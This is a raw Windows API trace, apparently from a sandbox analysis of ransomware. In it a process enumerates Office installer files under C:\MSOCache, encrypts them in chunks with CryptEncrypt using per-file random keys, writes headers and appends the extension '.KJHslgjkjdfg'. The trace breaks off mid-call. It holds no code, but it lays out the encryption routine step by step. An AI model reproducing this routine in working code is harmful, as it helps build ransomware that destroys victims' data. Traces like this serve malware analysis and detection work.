1 [0137.562] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0137.562] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.562] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0137.562] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.562] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.562] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.562] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x10b2, lpOverlapped=0x0) returned 1 [0137.571] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10c0) returned 1 [0137.571] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.571] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0137.571] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.571] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.571] SetEndOfFile (hFile=0x124) returned 1 [0137.574] GetProcessHeap () returned 0x2a0000 [0137.574] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.574] GetProcessHeap () returned 0x2a0000 [0137.574] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.574] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0137.583] CloseHandle (hObject=0x124) returned 1 [0137.584] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0137.584] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0137.584] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0137.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.585] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=36233052) returned 1 [0137.585] GetProcessHeap () returned 0x2a0000 [0137.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.585] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.585] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.586] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0137.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.595] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.595] GetProcessHeap () returned 0x2a0000 [0137.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.595] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0137.595] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.595] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0137.595] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0137.595] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0137.595] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0137.596] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.596] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0137.596] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.596] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.596] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.596] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.609] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.612] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.612] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.613] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.613] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.613] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.613] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.622] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.625] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.625] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.626] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.626] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.626] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.626] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.636] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.639] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.639] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0137.640] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.640] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0137.640] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.641] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.641] SetEndOfFile (hFile=0x124) returned 1 [0137.644] GetProcessHeap () returned 0x2a0000 [0137.644] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.644] GetProcessHeap () returned 0x2a0000 [0137.644] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.644] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0137.645] CloseHandle (hObject=0x124) returned 1 [0137.645] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0137.645] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0137.645] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.645] GetProcessHeap () returned 0x2a0000 [0137.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.645] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.645] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0137.645] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0137.648] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.648] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.648] GetProcessHeap () returned 0x2a0000 [0137.648] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0137.648] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290f4e0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290f4e0*=0x50) returned 1 [0137.648] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.648] WriteFile (in: hFile=0x124, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290f4f8*=0x50, lpOverlapped=0x0) returned 1 [0137.648] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0137.648] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0137.648] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0137.648] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.648] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0137.649] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.649] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.649] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.649] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xaec3a, lpOverlapped=0x0) returned 1 [0137.703] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xaec40) returned 1 [0137.711] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.711] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0137.713] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.713] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.714] SetEndOfFile (hFile=0x124) returned 1 [0137.717] GetProcessHeap () returned 0x2a0000 [0137.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0137.717] GetProcessHeap () returned 0x2a0000 [0137.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.718] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0137.718] CloseHandle (hObject=0x124) returned 1 [0137.726] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0137.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.736] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=27532288) returned 1 [0137.736] GetProcessHeap () returned 0x2a0000 [0137.737] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.737] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.737] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.737] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.737] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.737] GetProcessHeap () returned 0x2a0000 [0137.737] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.737] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0137.737] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.737] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0137.758] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0137.759] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0137.759] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0137.759] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.759] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0137.759] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0137.759] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.759] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0137.760] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0137.777] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0137.780] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.780] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, 